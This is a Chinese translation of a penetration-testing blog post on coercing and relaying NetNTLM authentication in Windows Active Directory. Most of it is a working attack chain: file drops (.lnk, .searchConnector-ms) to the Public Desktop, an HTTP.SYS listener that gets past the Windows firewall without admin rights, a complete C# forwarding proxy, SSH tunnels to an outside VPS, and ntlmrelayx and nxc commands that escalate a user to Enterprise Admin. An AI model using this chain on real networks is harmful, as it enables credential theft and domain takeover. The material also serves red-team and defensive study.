到了 2024 年,NetNTLM 泄露仍然是个问题!在这篇文章中,我们将介绍以下部分内容:
通过 NetNTLM 和文件删除强制用户身份验证
HTTP.SYS 之谜
无需管理员权限即可转发
使用活动的 Windows 防火墙进行中继
SSH 端口转发
细节
通过 NetNTLM 强制用户身份验证
SO-CON 2024 幻灯片中的一个细节引起了我的注意。
(网)NTLM中继还活着吗?
PDF 可以在这里找到:Elad Shamir - NTLM The Legacy Protocol That Won't Die / Elad Shamir - NTLM - SO-CON 2024.pdf
那么这是什么意思?如果攻击者可以将 一个hidden authentication coercion file(这是描述一个.lnk或一个.scf文件的绝佳方式)放到用户桌面上,它将触发身份验证。即使没有用户交互(通常用于网络共享)?- 好的
这可能是横向移动的好方法,但当然需要本地管理权限,或者是一个真正崩溃的客户端(是的,我知道,这种情况经常发生……)。
当我们谈论可能性时,工作中的一个朋友(@qtc_de )给了我一个很好的小建议。我们不必将文件拖放到每个用户的桌面上,而是只需将一个文件拖入其中UsersPublicPublic Desktop,它就会立即同步到所有桌面。
当然,已经有一些关于此的精彩文章:
https://0xdf.gitlab.io/2019/03/09/htb-ethereal.html#visual-studio-2017lnk
https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html#creds-for-amanda
对于强制部分本身,我们将生成一个过于复杂的lnk文件,其图标指向 WebDAV 资源。
例如,NetExec有一个slinky模块,只需要一些小的调整。
其相关部分:
link = pylnk3.create(self.lnk_path)link.icon = f"\\{self.server}\icons\icon.ico"link.save()
我们需要一个像这样的图标路径:
\elastic-elastic-dc01appsicon.ico通过lnk下降到,Public Desktop我们可以在端口 445 (SMB) 上触发身份验证,我们可以对该端口进行农场或中继。但是,SMB 中继不再那么有用,因为大多数环境都强制执行 SMB 签名。当然也有一些例外,ESC8仍然表现出色!
PS:lnk文件也可以是不可见的:)
https://www.thehacker.recipes/ad/movement/ntlm/relay有一些非常棒的地图:
来源:https://www.thehacker.recipes/ad/movement/ntlm/relay
那么我们可以做些什么来增加中继部分的影响呢?
Web客户端
如果 WebClient 在客户端上启动,我们可以通过 HTTP(本例中为 WebDAV)触发到我们想要的任何端口和路径的强制!
如果您需要刷新有关该主题的知识,请查看此处。
Web 客户端未启动的风险令人不舒服,因此我们自己启动它,也通过删除文件来启动它。这次我们需要一个.searchConnector-ms文件。是的,这是一个奇怪的文件类型......
示例 searchConnector-ms 文件
是的,我很荣幸您能抽出时间,这是复制和粘贴的内容。
<?xml version="1.0" encoding="UTF-8"?><searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector"><description>Microsoft Outlook</description><isSearchOnlyItem>false</isSearchOnlyItem><includeInStartMenuScope>true</includeInStartMenuScope><templateInfo><folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType></templateInfo><simpleLocation><url>https://whatever/</url></simpleLocation></searchConnectorDescription>
删除此文件将在客户端上启动 WebClient 服务。
请注意,WebClient 主要在 Windows 10 和 11 下可用,Windows Server 需要安装额外的角色才能拥有它
现在,我们.lnk通过添加@10247.
\[email protected]现在,如果我们在没有防火墙的 Linux 机器上执行代码,我们可以简单地使用它。但我们想更进一步,在没有管理员权限的情况下使用活动的 Windows 防火墙来利用此漏洞。
打破防火墙
在 Windows 中,除了经典的套接字侦听器之外,还有另一种创建 Web 服务器的方法。Windows 确实包含一个驱动程序,它为我们完成了繁重的工作,并允许非常简单的 Web 应用程序。
来源:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
由于我们的时间有限,这里是简短的版本。
围绕它的 .Net 命名空间是,System.Net.HttpListener并且有一个内核驱动程序为我们做事。
因为我们做一些事情真是太好了,更大的好处是:
我们可以拥有没有管理员权限的网络服务器
我们可以拥有带有活动 Windows 防火墙的网络服务器
等等,什么?-正确,有一些路径是通过 Windows 防火墙的默认配置允许的,因为 HTTP.SYS 驱动程序正在其下运行,NT-SYSTEM并且它是受信任的应用程序!
以下博客对此提供了一些启示:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
不幸的是,代码项目消失了:'(
但是等等,我们不是黑客吗?所以我们使用 Wayback 机器!
https://web.archive.org/web/20210629141743/https://archive.codeplex.com/?p=httpsysmanager
幸运的是,该版本也被存档。
HTTP.SYS ACL 的
我们来看一下Windows 11系统:
检查 Windows 11 上的 HTTP.SYS ACL
如果我们检查 URI 的所有这些权限,我们会发现一些有趣的权限,例如
:10247/apps路径上的宽松权限
经过身份验证的用户?嘿,这就是我!
那么每个经过身份验证的用户都可以在 ? 下注册一个侦听器http://<HOST>:10247/apps?很好,让我们试试这个。
在没有管理员权限的情况下运行侦听器
而且作为奖励,这还绕过了 Windows 防火墙的默认配置! - 凉爽的
其他有趣的 URI 是:
http://*:5357/http://*:10246/MDEServer/http://*:10247/apps/http://*:80/Temporary_Listen_Addresses/http://*:5358/
注意:并非所有这些 URI 都允许通过防火墙!
代理
因此,我们可以在没有管理员权限的情况下通过活动的 Windows 防火墙拥有一个侦听器。下一个是什么?我们可以代理这些请求并用它们做其他事情。
LinkedIn 上有一个有用的代码片段(是的,我知道……):
https://www.linkedin.com/pulse/implementing-proxy-server-c-example-test-case-esmael-esmaeli/
该代码片段需要进行一些调整才能满足我们的需求。我们可能会想出一些像这样又快又脏的东西
using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Net;using System.Runtime.Remoting.Messaging;using System.Text;using System.Threading.Tasks;namespace Proxy{internal class Program{static void Main(string[] args){// Create a new HttpListener to listen for requests on the specified URHttpListener listener = new HttpListener();listener.Prefixes.Add("http://+:80/Temporary_Listen_Addresses/");//listener.Prefixes.Add("http://+:5357/blub/");//listener.Prefixes.Add("http://+:5358/blubber/123/");listener.Prefixes.Add("http://+:10246/MDEServer/");listener.Prefixes.Add("http://+:10247/apps/");listener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;listener.IgnoreWriteExceptions = true;listener.Start();while (true){try{// Wait for a request to be made to the serverHttpListenerContext context = listener.GetContext();// Get the request and response objectsHttpListenerRequest request = context.Request;HttpListenerResponse response = context.Response;// Modify the request as needed (e.g. to add headers, change the URL, etc.)string newUrl = "http://elastic-elastic-dc01:8080/icon.ico";// Forward the request to the destination serverHttpWebRequest destinationRequest = (HttpWebRequest)WebRequest.Create(newUrl);destinationRequest.SendChunked = false;destinationRequest.Method = request.HttpMethod;// Copy the request headers from the original request to the new requestConsole.WriteLine("Request");Console.WriteLine(request.Url.ToString());Console.WriteLine(request.HttpMethod.ToString());Console.WriteLine(request.Headers.ToString());foreach (string key in request.Headers.AllKeys){try{string[] values = request.Headers.GetValues(key);switch (key){case "Connection":if (values[0] == "Keep-Alive"){destinationRequest.KeepAlive = true;} else{destinationRequest.Connection = values[0];}break;case "Content-Length":destinationRequest.ContentLength = long.Parse(values[0]);break;case "Host":destinationRequest.Host = values[0];break;case "User-Agent":destinationRequest.UserAgent = values[0];break;default:destinationRequest.Headers.Add(key, values[0].ToString());break;}}catch (Exception ex){Console.WriteLine(ex.ToString());}}Console.WriteLine("Forwarded item");Console.WriteLine(destinationRequest.RequestUri.ToString());Console.WriteLine(destinationRequest.Host);Console.WriteLine(destinationRequest.Headers.ToString());HttpWebResponse destinationResponse;// Get the response from the destination servertry{destinationResponse = (HttpWebResponse)destinationRequest.GetResponse();}catch (WebException wex){destinationResponse = wex.Response as HttpWebResponse;}Console.WriteLine("Response");Console.WriteLine(destinationResponse.StatusCode.ToString());Console.WriteLine(destinationResponse.Headers.ToString());response.StatusCode = (int)destinationResponse.StatusCode;// Copy the response headers from the destination response to the client responseforeach (string key in destinationResponse.Headers.AllKeys){//response.Headers[header] = destinationResponse.Headers[header];string[] values = destinationResponse.Headers.GetValues(key);if (key == "Content-Length"){;}else{response.AddHeader(key, values[0]);}}Console.WriteLine("Response - Override");Console.WriteLine(destinationResponse.StatusCode.ToString());Console.WriteLine(destinationResponse.Headers.ToString());response.SendChunked = false;// Get the response stream from the destination response and copy it to the client responseusing (Stream destinationStream = destinationResponse.GetResponseStream()){using (Stream outputStream = response.OutputStream){destinationStream.CopyTo(outputStream);outputStream.Flush();// You must close the output stream.outputStream.Close();}}}catch (Exception ex){Console.Write(ex.ToString());Console.WriteLine(ex.StackTrace.ToString());}}listener.Stop();}}}
这是在做什么?大量的调试输出、一些不好的做法以及一些次要功能,例如注册侦听器HTTP.SYS、将请求转发到另一个端口、获取响应,然后将响应传递给初始调用者。
注意:SSH 只是一个简单的选项。还有更好的可能性,例如使用ironpython,python.net或直接在 C# 中进行中继。
Good ol’ SSH
我们可以在同一台机器上设置一些漂亮的小端口转发,将流量隧道传输到我们完全控制的系统,然后将其发送回来。
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]为什么这有用?由于 Windows 还提供本机 SSH 功能,因此我们可以使用标准 Windows 客户端将 SSH 端口转发到互联网中的服务器(-L 10.3.10.12:8080:10.3.10.11:80),在那里运行 ntlmrelayx 并通过 SOCKS (-R 127.0.0.1:9050) 隧道将流量传回。
注意:如果允许 SSH 传出,目标服务器不需要位于同一网络中,这意味着它可以是 VPS 或其他
Farm NetNTLM Hashes
通过代理请求并使用 SSH 端口转发,我们可以在 VPS 上运行响应程序来获取一些哈希值。
哈希值破解
这当然很好,但如果我们只想要哈希值,我们可以直接在 C# 代码中完成此操作,就像MDSec 的 Farmer在这里所做的那样。
但更大/更好的部分往往是中继!
让我们稍微了解一下中继步骤。
在 VPS 上启动 ntlmrelayx
与proxychains和-smb2support。在此示例中,我们将针对 LDAP 服务进行中继,因为 noChannel binding和 no仍然很常见LDAP Signing。
中继到 LDAP 很强大,但不是唯一的选择。例如,针对文件共享或某些 HTTP 端点的带有 ntlmrelayx 的交互式 shell (-i) 也很棒
proxychains sudo ntlmrelayx.py -debug -smb2support -t "LDAP://10.3.10.12" --escalate-user domainuser --http-port 80在客户端创建SSH隧道
使用两个不同的端口转发
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]在客户端启动ProxyApp
它在 HTTP.SYS 注册并将请求转发到本地端口 8080
在受害者系统上删除 .searchConnectors-ms 文件
确保 WebClient 正在运行
在受害系统上删除 .lnk 文件
实际强制对我们的客户端进行身份验证
nxc smb 10.3.10.21 -d "ludus" -u "localadmin" -p "password" -M slinky -o NAME='\users\public\desktop\SHARE62' SERVER="elastic-elastic-dc01@10247apps"注意:稍微奇怪的参数只是使其成为C:userspublicdesktopShare63.lnk和\elastic-elastic-dc01@10247apps。我可能会在一段时间内为 nxc 做 PR 来清理这个问题。
Ta -da,这实际上让我们成为了Enterprise Admin。
中继成功
流程如下所示:
攻击流程
POC
原文翻译自:
https://badoption.eu/blog/2024/04/25/netntlm.html
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...